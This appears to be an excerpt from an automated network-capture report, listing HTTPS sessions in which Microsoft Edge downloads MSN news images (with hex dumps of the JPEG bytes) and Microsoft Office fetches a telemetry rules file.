2024-11-20 22:13:02 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCD.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:13:02 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCD Last-Modified: Thu, 07 Nov 2024 21:14:23 GMT X-Source-Length: 91068 X-Datacenter: westus X-ActivityId: 192ae135-6d9f-47ea-935a-a072a84bdcf1 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 91068 Cache-Control: public, max-age=82923 Expires: Thu, 21 Nov 2024 21:15:05 GMT Date: Wed, 20 Nov 2024 22:13:02 GMT Connection: close
2024-11-20 22:13:02 UTC	15866	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 22:13:02 UTC	16384	IN	Data Raw: 34 8e cf 18 eb 96 97 a4 c4 1b 8d c4 e9 05 59 11 a8 42 36 fd 0a 2a a3 45 57 13 fc 1c b9 63 31 3b 4f d4 25 8d d0 14 07 1a 6d 7c 92 9e da cc ca 39 14 63 7e 20 b2 d8 42 c6 bf 58 3f 25 64 36 13 05 28 e4 7c 7f 05 b5 87 54 f0 d0 b4 10 34 28 8b c0 08 e7 3d 20 70 c7 fe a0 a3 e0 96 76 5a ec a3 44 93 95 ca e3 29 44 e1 8c 8c 64 a5 68 c9 c9 57 aa f7 56 03 8e 80 04 4e 59 f8 1e 9f 66 35 b9 3d ae 9f da 9e d6 f2 55 2f a9 47 7d 25 1f bf ac a6 7d 1e 90 bb 48 e4 82 02 5b 58 e3 aa 6d 30 af f7 4f 56 13 38 46 d1 61 30 b6 42 94 ac a0 27 c7 dd 3e a4 f8 62 07 19 09 b4 85 20 2a a8 44 e7 94 a9 d2 b2 95 76 07 45 9e 4a ed 9f d5 4a 95 20 ab 64 4a 12 d4 58 54 2d 43 4a b7 4a ca 51 61 52 85 29 56 a9 52 94 59 d2 a5 2b 28 56 e9 59 08 b2 e2 a8 5a b2 85 6c 85 90 aa ca 95 29 52 95 6e 95 94 a2 Data Ascii: 4YB6EWc1;O%m\|9c~ BX?%d6(\|T4(= pvZD)DdhWVNYf5=U/G}%}H[Xm0OV8Fa0B'>b DvEJJ dJXT-CJJQaR)VRY+(VYZl)Rn
2024-11-20 22:13:02 UTC	1810	IN	Data Raw: 1d 77 91 fb 34 88 df 41 d5 5a c6 c6 61 17 aa 5d b0 8e 3f 1d 69 eb d5 57 ec 4f a6 e3 c3 51 17 27 a1 1b 0d bc d3 dc de e5 ce 2e 0c 9a b7 35 03 13 fc 14 b5 88 eb d4 a1 9f fc 56 86 41 74 92 e7 3a 77 9d 67 73 c8 2b ec ee 46 50 1a c0 e3 50 93 26 dd 4f b4 5d 71 e8 6e 20 e0 f7 92 67 e8 1b 09 e9 e3 af 45 d0 c3 88 33 17 11 73 5e ea 76 04 c3 6d 6b 6c e3 37 90 7a 29 b8 a1 13 31 35 f2 f0 bd 9b 2e 16 b4 3b 20 6e 47 01 0c 04 57 e7 b8 80 0e 8a 86 3f cd 3b ac 75 b6 4b 81 1b b8 44 4e c1 a1 a2 1b c9 23 26 36 f6 79 3f dc 59 96 ae 21 8a a2 48 fe 92 fa 47 fe d0 e5 da ff 00 d3 3b 87 b7 1f 72 cc 98 70 02 c6 b8 97 64 22 99 16 33 7b 9f 96 c1 2a b2 cb 96 53 a6 93 e2 09 ed 3b 06 e6 71 c9 95 b9 8b 6c 18 d8 74 3d e6 f0 1c fd c6 ff 00 a9 5e e5 d8 e3 b5 38 bb 8f f6 63 0c 86 8d f2 5a ff Data Ascii: w4AZa]?iWOQ'.5VAt:wgs+FPP&O]qn gE3s^vmkl7z)15.; nGW?;uKDN#&6y?Y!HG;rpd"3{*S;qlt=^8cZ
2024-11-20 22:13:03 UTC	16384	IN	Data Raw: e2 f2 e2 ed db a1 54 1e dc 3a 34 95 ea b3 33 f9 7e 50 b8 79 31 c9 3c 31 ec 7f 05 b4 4b 1c a2 9c 67 7a 7f d2 7d ff 00 82 0e 1d 00 5d 27 60 8e 83 ff 00 1f c5 28 e3 8f 81 fa 2b 62 aa 23 97 cd 03 bc be 6a f8 c4 df e6 3e 00 fe 09 83 00 e8 ef 62 84 b9 5f 1b 2c 85 d8 ff 00 16 7a 8f 2f d3 74 f6 f6 b3 fb 7e 49 87 9e a4 f4 f9 2c 20 f4 5e a4 76 73 fb 7e 49 bf e0 13 a7 ff 00 10 90 79 00 d7 74 2b 60 f4 5e a4 f6 04 6e 43 7c c2 a8 fe d3 f9 c7 87 4f 92 28 5b 80 a2 e9 bf b7 6b 7a 9f 8f 15 55 cc 03 f6 9f 32 81 6a f5 98 8b 7b 05 0b a7 a7 b2 8e 1c a1 05 d2 a3 e5 22 6b cb 66 35 44 72 38 b4 cb ad d3 98 d9 0b 58 e7 98 68 92 ba b8 7f 2d 19 18 5d 91 ce 00 6a d6 d8 48 ea e1 7f 00 14 67 1f b6 61 78 f2 97 13 19 78 21 c5 df b8 4e f6 9d 7c d7 47 b5 ec df dd 87 3e ec 1b 55 06 27 f9 1b Data Ascii: T:43~Py1<1Kgz}]'`(+b#j>b_,z/t~I, ^vs~Iyt+`^nC\|O([kzU2j{"kf5Dr8Xh-]jHgaxx!N\|G>U'
2024-11-20 22:13:03 UTC	16384	IN	Data Raw: c0 3b 61 91 93 4c 34 7d 52 e0 1b fa 5e 57 6b 0b 32 38 5d a1 c0 eb b7 95 ff 00 4d d6 60 ed c3 77 89 d6 da f3 e6 ba e3 1e 31 c4 e2 45 ac 6f 69 f2 f9 2d 6e 99 b1 8d 2d 36 64 f9 8f 8f 92 b1 01 e7 ea 0c 8b 46 f6 4b 2d c6 5b b9 13 7e 7b f4 69 43 8d ad c7 37 71 e7 bf b9 fb a0 2e 35 e2 c0 7b 98 f9 25 4c 99 81 bc 0b 0f 82 95 91 ee 9b 71 6d 79 3f 00 aa e5 cd ab e9 88 d6 a3 1b ce bf a4 25 41 63 d5 a4 e9 d2 e0 01 b2 4f a8 4c d4 d1 bf 97 b7 54 b7 fa 7b b8 1e 1e 76 b8 e8 0c 9f 65 57 2e 4f 4d a2 96 96 c5 c7 d5 1e cd 05 d7 3e 48 a3 80 f7 0f a5 8e 2d 2d 68 1c b6 f1 fa 7c d7 93 cc fa cb aa da 09 9f db 1e 0b ab df 77 0e 24 45 81 36 04 7d 42 20 dc 9b 5e fb 2f 3d 9d d2 e2 da 37 1f f4 98 b5 b9 ac 67 76 a2 e1 37 25 84 70 c1 98 23 a4 4a ad 93 35 0e 6c d4 2b d4 8b 1e 87 cf 92 b5 Data Ascii: ;aL4}R^Wk28]M`w1Eoi-n-6dFK-[~{iC7q.5{%Lqmy?%AcOLT{veW.OM>H--h\|w$E6}B ^/=7gv7%p#J5l+
2024-11-20 22:13:03 UTC	7952	IN	Data Raw: 07 45 9e d2 04 d2 3a 5b f8 95 ae 15 0a af 0b 8e ee a8 da 86 d4 04 1b 4f 0d a7 42 d3 a8 36 9d 51 1c d8 dc dc 4e 78 71 c6 c0 f0 59 59 6b e5 c6 ee 6c 03 b9 82 05 e5 50 cb 81 8f 6d 4d 8e a0 4f 08 b6 84 de ff 00 d3 a6 89 2c 66 47 3e 5c e9 31 a7 51 66 ed b4 75 5a 91 b8 9c 06 ce 19 1a 20 c5 42 c3 a7 22 af b4 d2 e9 c7 5e 30 64 41 f7 2d e8 7e da ae 7b 70 97 bf 8a 05 f6 26 05 87 3b 13 f7 4c 63 1e 1d fb 03 45 ef 30 67 72 5c 01 3f 70 80 4b 9e 5b 97 ea a6 fb 3a e0 c6 93 32 0f 49 56 4e 4f 53 1b 9a 08 de c2 98 3d 2d 02 26 7a 6e 83 3e 3f 52 5c 03 4b 4c 7f 4d ac 04 48 3b fd d7 3f d2 7b 1c 1c c7 1b 5c b5 d3 6b f5 fb 26 8d 4d 7b 8b a6 6c 45 81 1d 06 c0 da 7c 4a 12 f9 81 3e 31 a9 da 7c f5 b2 b0 d7 16 12 f9 00 99 16 de fb c7 4b 7b a0 7b 62 1c 22 39 5e e7 c7 ae a8 0c 79 6d 5c Data Ascii: E:[OB6QNxqYYklPmMO,fG>\1QfuZ B"^0dA-~{p&;LcE0gr\?pK[:2IVNOS=-&zn>?R\KLMH;?{\k&M{lE\|J>1\|K{{b"9^ym\
2024-11-20 22:13:03 UTC	16288	IN	Data Raw: 8d a2 a3 55 4d dd af 24 69 07 6b 3b a8 9d bc 51 3b b8 0c 9f 51 a5 ee 76 97 b7 8d 37 71 f2 5c be e1 ee 04 70 35 b6 90 c6 ba 4e fb f1 4c 6d a9 09 28 6e 7b ac 61 ae 17 2d 9f f5 98 1b 9a 6e 7d e0 95 cb ca e9 8b 93 24 c8 a5 f4 9b 40 98 20 78 0d ed d1 58 61 73 d8 49 73 99 12 2e e0 5d e0 2f 16 da da 04 8a 62 05 4d 17 80 05 55 38 c8 da 37 33 a0 1e 28 02 f5 1e d6 41 13 3b 81 15 19 f3 90 34 e8 aa 67 ce 03 80 2d 71 dc 10 0c b4 df a1 3e 1b a7 65 0f 6d 61 ce a4 c9 a8 44 38 11 cc 0b f8 0b 2e 60 ed b2 66 cc 1c e7 b5 95 93 04 f3 d7 94 69 03 c1 67 ad af 68 d0 b3 9a 4b 5a 48 6c 6c 27 ad b8 88 36 1f 25 4d fe ab 89 6b 72 10 26 4f f5 34 72 9b 9f 3b 2e 87 f8 ed ed 9c fc 79 20 ee 46 53 7d 8c 55 04 4d cd 8c 89 4d 18 1b 94 4b 22 fa b8 90 7d a0 df db 45 71 11 1d 58 e5 33 2f 39 91 Data Ascii: UM$ik;Q;Qv7q\p5NLm(n{a-n}$@ xXasIs.]/bMU873(A;4g-q>emaD8.`fighKZHll'6%Mkr&O4r;.y FS}UMMK"}EqX3/9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	49923	104.117.182.41	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:02 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:13:02 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 08 Nov 2024 13:42:23 GMT X-Datacenter: westus X-ActivityId: 54514d10-e954-4c08-a458-7867f3149dc5 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0Z X-Source-Length: 132415 Content-Length: 132415 Cache-Control: public, max-age=142097 Expires: Fri, 22 Nov 2024 13:41:19 GMT Date: Wed, 20 Nov 2024 22:13:02 GMT Connection: close
2024-11-20 22:13:02 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 22:13:03 UTC	16384	IN	Data Raw: f2 f8 87 0a af d5 5e 42 ab 9e 5e 85 a9 ea 08 31 37 1a bb d2 b5 11 2e 8d c4 52 ad 95 05 57 2b 7e 0b 50 3b d3 20 d4 c2 c5 58 73 63 aa 46 4c 73 b9 a3 76 1f 5e ab 41 5e 35 12 ea 0d ab 75 62 3c 6a 05 57 85 2f ea 6d 3d c1 1b 55 0d 9d cd 56 57 a5 2e c6 38 55 c9 11 6d 54 ce c4 ef 5b eb b0 aa 5a 95 26 8f 24 46 ce 1c cd 50 f5 4d 0e 92 2a d8 35 7c 62 36 b0 e4 6a cf 54 55 1a 4d 47 41 a7 a8 9d d5 de b7 2a af d6 6a 97 a7 5b e9 d6 e8 fb 54 72 9a 58 b1 a6 4a 55 25 6a e6 91 76 a8 12 6a d9 8e 15 1d 35 65 34 ab 2c 2a bd 46 af d3 54 1a 64 96 a9 ac 9a 8c 56 de 9b 24 0d 5c 2a bb d5 83 55 4a a2 fa ac 93 c2 b6 0d 5b 06 a1 64 c8 35 9e 99 34 f6 81 4d 2a 0a 7c 9b 88 4f a5 57 04 a2 da 05 42 14 54 73 da b8 c2 61 16 a7 ec 15 79 d3 ce a9 3a 69 79 53 35 af 2a 59 98 9a 99 93 c2 a9 20 d1 Data Ascii: ^B^17.RW+~P; XscFLsv^A^5ub<jW/m=UVW.8UmT[Z&$FPM5\|b6jTUMGAj[TrXJU%jvj5e4,FTdV$\UJ[d54M\|OWBTsay:iyS5Y
2024-11-20 22:13:03 UTC	2440	IN	Data Raw: 55 ca 97 18 0e dd ab 1e 55 0f c2 30 e5 7d a8 e9 56 b0 99 32 60 8a ac fb 4f 09 db 8f d2 97 2a 7c 60 37 e1 0c c1 89 e5 5a 7b 46 1c 87 f5 ca ba 21 85 47 ba dc 26 a9 cd e9 2c 33 34 13 6e 7f 2a 5c a9 71 80 a3 b3 c9 3f f1 54 e5 ed 1c fb d4 c6 93 ff 00 34 73 0b e3 c8 a7 4b c8 9b ff 00 2a b3 30 4c 60 16 3a 47 05 e7 e1 f9 fc e9 f2 ad c6 04 63 c0 d9 f1 eb c7 f0 71 32 27 e9 bc 75 da b7 f0 a7 8e dc bf 99 ab b0 65 40 e5 51 a0 64 26 27 8f 38 e4 3e 54 55 57 4c 98 13 3b 74 a5 72 b1 a6 31 cd be 84 e7 03 88 06 de 3c 2a a1 80 bd c0 b7 03 c2 2b a7 7c 68 18 41 8d ad c0 8e 44 57 95 81 05 14 44 5f a0 aa e4 d7 07 35 f8 67 fb 26 a9 3d bb b7 02 2b ac 0d 0b cf 4f fc d4 43 de 0e cd c7 95 b6 a5 ce 97 09 ea e2 9b 03 02 40 14 ca 61 68 bf fc 57 63 81 71 b2 ef 24 6f e1 4b f7 19 31 df 42 Data Ascii: UU0}V2`O\|`7Z{F!G&,34n\q?T4sK0L`:Gcq2'ue@Qd&'8>TUWL;tr1<+\|hADWD_5g&=+OC@ahWcq$oK1B
2024-11-20 22:13:03 UTC	16384	IN	Data Raw: 2a 2e 57 53 40 e0 b7 8e bc aa 9c 78 c2 61 d1 62 44 a9 9b 6c 4e f4 f7 b2 d6 8b 41 89 17 e1 d0 71 fc aa 61 c3 e3 16 22 45 45 5b d3 2c 0e c6 0c 74 da ac 46 c5 3a 44 45 f6 bd 6d 1e d4 a6 92 16 4f 19 16 e5 56 06 d4 58 11 00 6d 13 33 48 66 25 32 e2 c6 a6 03 31 73 e4 3f 7d 20 b9 cc e7 bc dd e3 a4 45 2d 16 dd 46 85 60 4c 5f 7a ae 54 ab 31 9d b6 e5 43 7b 7c 8e e3 41 37 e3 c2 6d c2 99 1a d7 3e 96 8b 02 57 f8 87 2f 3a 7a 3d a9 42 af 06 24 0b 4f 85 5a b8 c5 c9 32 06 de 3c 29 86 c7 a3 41 51 66 26 47 9f 1a 5c a1 46 7c 63 a1 1e 3c 2b 54 b4 00 5a db a8 fa d6 85 5c a4 88 fd d4 43 22 85 50 63 dc 47 eb 4a 89 0c 41 03 9f 53 49 54 98 d6 09 58 f8 45 8d 3f e9 ab 28 60 7c ff 00 ae b5 af 97 4f b9 80 13 e5 f9 d2 1e b2 a3 33 7f d3 62 27 f8 4f 1e b1 cc 78 8a da 61 04 24 cd ad fd 7f Data Ascii: *.WS@xabDlNAqa"EE[,tF:DEmOVXm3Hf%21s?} E-F`L_zT1C{\|A7m>W/:z=B$OZ2<)AQf&G\F\|c<+TZ\C"PcGJASITXE?(`\|O3b'Oxa$
2024-11-20 22:13:03 UTC	16384	IN	Data Raw: 42 b1 b7 01 4b 4a 94 11 9f 2a ac 42 84 11 22 39 19 f6 dc 7b b8 4d eb 99 ff 00 20 be a9 95 98 01 75 a1 22 d6 be f0 3c eb b6 ee 71 e0 0c 7d a7 54 69 22 e4 7b 48 33 26 66 7c 0d 70 d9 f1 0b 9f 78 c8 2e cb 6b 89 99 b9 13 c6 47 0a 77 1b 34 9d ef 62 08 a5 d2 db d8 c4 83 06 36 de 8c 76 8a ba 17 23 c9 09 a8 c0 23 dc 49 81 ce de d3 40 b0 13 8c 06 0a c2 79 fe 46 0f 0e 15 7f 7b 94 a6 1c 64 29 5d 40 12 3a eb 73 36 3b 79 55 4d 26 f8 12 cf fe 44 34 fa 68 aa 9e 40 5b ad 4b d4 9c 64 b2 87 76 31 a4 7b 4a 29 1b b1 83 06 36 02 f0 68 5e 11 8f 4a 33 46 bc 9f 68 d9 64 48 24 1b df ee 2c 75 da 89 60 c0 0b 92 cc 34 07 2e 58 9f e1 f9 93 14 f2 cb 7d 34 82 7d c7 6d e8 ae 3c 88 9d b8 64 6d 41 21 a6 37 86 76 04 18 e5 04 57 39 88 a6 6c 99 75 e0 51 ae 09 ba 9d 10 49 f6 83 11 bc 47 95 74 Data Ascii: BKJ*B"9{M u"<q}Ti"{H3&f\|px.kGw4b6v##I@yF{d)]@:s6;yUM&D4h@[Kdv1{J)6h^J3FhdH$,u`4.X}4}m<dmA!7vW9luQIGt
2024-11-20 22:13:03 UTC	7952	IN	Data Raw: 64 68 3b 00 bb 73 dc 7e 54 8e 3c da 89 0c 35 ba 83 ab 93 2f d9 3c c8 fb a6 ab 2e c6 34 37 b3 27 dd 85 80 00 be a5 82 25 78 d4 af 63 5e b3 ea 1a f2 ae 31 bd 80 6d 42 24 a8 0b b1 8e b4 c1 ee 55 b4 b2 b3 44 75 2c 7a 88 81 42 1b 2e 22 c8 34 08 4f 82 05 a4 8d 8c c4 9e 36 e3 4a e2 38 e0 b0 52 46 d2 a6 0a ab 1f 7c 29 92 02 9b f1 aa ad 2d 1e 2e b9 13 49 c8 4e ae 04 79 88 3e ee 94 0b f0 f6 d6 32 71 86 f7 b4 0e 56 bd 13 c6 9a 95 d9 8f c0 04 7d a9 43 78 3b 5e 35 0d ea c6 ed b1 37 a8 15 8a 16 21 ac 62 2f c0 81 6b f9 ef 4b 67 66 c2 1f b6 fb ac cc 24 98 fb b6 17 92 00 53 17 aa 7d 02 40 0a fc 8d c8 63 7d 8d c1 b7 2a 22 35 a0 8c 8b 74 d0 75 7d e8 36 24 f0 3c 26 38 1a 51 90 62 7d ed a6 17 8c 75 1c 63 98 b8 f2 ab da 35 0a 28 66 46 05 8b c1 20 a3 28 99 aa 10 a6 37 d0 15 25 Data Ascii: dh;s~T<5/<.47'%xc^1mB$UDu,zB."4O6J8RF\|)-.INy>2qV}Cx;^57!b/kKgf$S}@c}*"5tu}6$<&8Qb}uc5(fF (7%
2024-11-20 22:13:03 UTC	16384	IN	Data Raw: 71 22 b8 eb 61 23 da 06 9f 81 f9 f9 fe b4 fa 77 59 15 81 c8 41 13 71 04 32 f9 19 36 f9 55 ee 6f d0 b6 e9 50 93 8a 0e d1 36 bc 11 cb 63 70 05 ab 9a ee b1 13 93 d4 59 30 2f a4 cc 8d ec 3e 76 f3 a7 67 13 20 18 49 89 d5 1b ec 41 31 70 77 eb e1 57 ac 64 56 56 82 34 df 7b 10 4e e0 df 7b 8e 57 a0 65 3b 1a 77 15 76 dd c7 ac 91 c6 3e b1 b8 3e 16 a9 63 4d 4c e6 20 30 50 77 dd 5a 41 f2 d8 8e 37 ae 6b 22 b7 6d 92 cd 73 72 38 fe d4 6d e7 04 82 2b aa c5 94 15 43 6d ee 07 2d be 56 a9 29 7e 0f 3e 32 75 b1 ba 81 a8 79 83 ee 12 45 cd 71 d9 f5 02 fc 47 c3 6d ef 04 78 57 43 93 36 bc b1 a8 ed 03 96 92 0e df 99 a1 99 55 95 81 d3 3e d9 3a 62 6d fc 36 eb b4 53 85 97 80 84 08 f9 08 32 b6 89 de 7a c7 02 2b 47 a9 85 9a 7d c0 83 71 b1 f1 e1 35 28 61 91 98 5e 45 d7 88 ff 00 69 bd 66 Data Ascii: q"a#wYAq26UoP6cpY0/>vg IA1pwWdVV4{N{We;wv>>cML 0PwZA7k"msr8m+Cm-V)~>2uyEqGmxWC6U>:bm6S2z+G}q5(a^Eif
2024-11-20 22:13:03 UTC	16384	IN	Data Raw: bc 2b 7c 27 d4 80 ca c0 a3 0f 8a 2e 0e fe e8 ab 1b 03 80 01 46 f3 82 47 ed 4f 97 e7 4e 63 4c 24 8c 97 13 2d f1 0d f6 65 bc 7d 29 a7 f4 d7 de 99 32 a8 27 82 f2 e7 a5 bf 4a 9b 0e 00 36 43 8b 5a b5 a4 58 9f 88 10 7c be 55 3c 39 5d ca af dd dc 9d 22 07 2b 6d 3f 39 a6 f5 e4 76 20 65 57 93 b6 44 23 7e ba 7f 32 28 8b 06 40 40 5c 51 33 01 82 b1 22 d2 7d bc 2f 14 98 a3 77 09 a8 a9 1a 54 0f 8b 81 8b 6f cf 9c 9a 55 fb 5c 79 14 36 37 52 67 54 1f 6c 83 c0 1f 84 f8 1a 97 a0 a4 df 52 83 bc b7 b7 e7 ac 6f e5 4f 1e d4 95 03 1b 28 d2 a4 15 d4 8d aa 79 df af 15 aa 92 97 90 77 39 30 3f f7 03 28 70 2d 1f 0e 9d 8a cd ad 57 3a 8c aa 35 fb a6 c3 2a dc c4 6e dc 59 7c e1 87 33 45 57 17 72 10 00 9a d4 6e 80 6a 5f ff 00 a6 f0 47 9a c5 4b 1e 3c 3f 09 5c 9d b9 bc 40 62 92 79 06 1a 84 Data Ascii: +\|'.FGONcL$-e})2'J6CZX\|U<9]"+m?9v eWD#~2(@@\Q3"}/wToU\y67RgTlRoO(yw90?(p-W:5*nY\|3EWrnj_GK<?\@by
2024-11-20 22:13:03 UTC	7952	IN	Data Raw: c1 86 57 50 1a 54 9f ba 49 03 a1 b4 8a ea bf 19 8a 3d 1c 58 d0 a9 13 65 32 bb 11 ee 1a 49 99 91 bd 0b 75 5c f8 8a 11 61 2f 0b 77 1c d9 0d 83 8b 49 56 86 e3 36 34 5c f1 93 5a d7 e8 9c 7b 09 cd 94 2b fb 4e 52 22 7e 3d 23 e8 01 3f 3a 1b 93 20 d4 34 a2 09 bd c6 a3 f5 69 a7 f3 e1 67 50 71 1f 54 09 f8 77 e7 75 3e ef cc 50 8c a1 91 86 a0 41 81 20 ef b7 2a e5 bb 12 9f 9d 50 4d ed 56 23 70 e7 f9 45 41 58 15 53 f5 f1 a5 d1 8c 75 fd f5 26 61 4f a6 54 49 8b 5f 94 1a 86 47 d5 a9 85 2a c4 b1 d3 bf f3 ab 7a 47 11 fa d3 4c 5d 9b dd 8c 93 bc af e4 2a 28 23 11 f3 11 57 64 ff 00 4f cc 2f e5 7a 44 86 9d 23 60 7e a6 94 53 54 1d 40 5f 8d ba d1 35 c6 5d bd bb b0 02 78 02 39 7f 3e 1c 29 64 10 ab e3 27 9f f0 af ea 6b a3 c2 74 e2 66 d1 2d b6 d0 88 3a f3 37 f6 a8 f3 37 aa 93 6c 1c Data Ascii: WPTI=Xe2Iu\a/wIV64\Z{+NR"~=#?: 4igPqTwu>PA PMV#pEAXSu&aOTI_GzGL]*(#WdO/zD#`~ST@_5]x9>)d'ktf-:77l
2024-11-20 22:13:03 UTC	14945	IN	Data Raw: 00 24 1e a6 89 66 c5 91 41 d2 17 4b 03 a6 76 df ac cd 0d 00 85 92 d8 41 13 6d 1c 87 ec 50 b4 68 26 86 05 0a 9b 81 69 02 e6 23 ee f3 b5 5d 95 d1 40 fe da f0 17 2c 79 9e 0c 2a b0 65 92 72 27 b8 09 3a 4e e7 8f c0 29 7e e0 9b 29 71 bc fd ee 5e 54 ab 12 4c 9a 9d a3 1e 31 6e 44 ee 40 e2 4d 16 6c ac 33 ab 7b 63 de 4f b5 76 51 ce 26 26 84 60 00 3b 7b b9 70 ea 0f e9 4d e4 70 27 98 58 1e 24 12 6a 5a 78 3a 1c be 5c 64 00 76 95 20 0d f6 f7 47 d0 1a a3 23 31 33 bc 10 0d 81 89 99 24 45 5f 86 3d 30 5a c0 85 df a4 f2 aa 87 bf 1b 31 90 43 8f 70 be c3 8f 18 a2 7c 20 39 c3 3b 58 03 1c 3c bf ad aa ec 1d cb e1 61 36 33 b8 e4 6a 04 e8 70 c7 da 60 1d 40 02 ad e6 2d f2 aa b2 63 46 d4 55 f6 33 1c 7a fc f6 a5 0a 8b b1 d4 cc d3 f7 48 9b ef 22 87 64 d2 b9 10 70 d4 5c f8 1b 7e b4 4b Data Ascii: $fAKvAmPh&i#]@,y*er':N)~)q^TL1nD@Ml3{cOvQ&&`;{pMp'X$jZx:\dv G#13$E_=0Z1Cp\| 9;X<a63jp`@-cFU3zH"dp\~K

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:02 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:02 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221302Z-178bfbc474btrnf9hC1NYCb80g00000000ng0000000188eq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
